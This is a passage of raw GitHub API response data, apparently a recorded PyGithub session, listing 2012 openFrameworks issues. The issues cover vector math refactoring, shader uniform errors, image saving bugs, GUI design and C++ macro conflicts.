handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3627067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":3614231,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","assignee":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3605277,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"7a7b635a35e21a9f69de7a09b9040837"'), ('date', 'Tue, 29 May 2012 19:27:12 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n 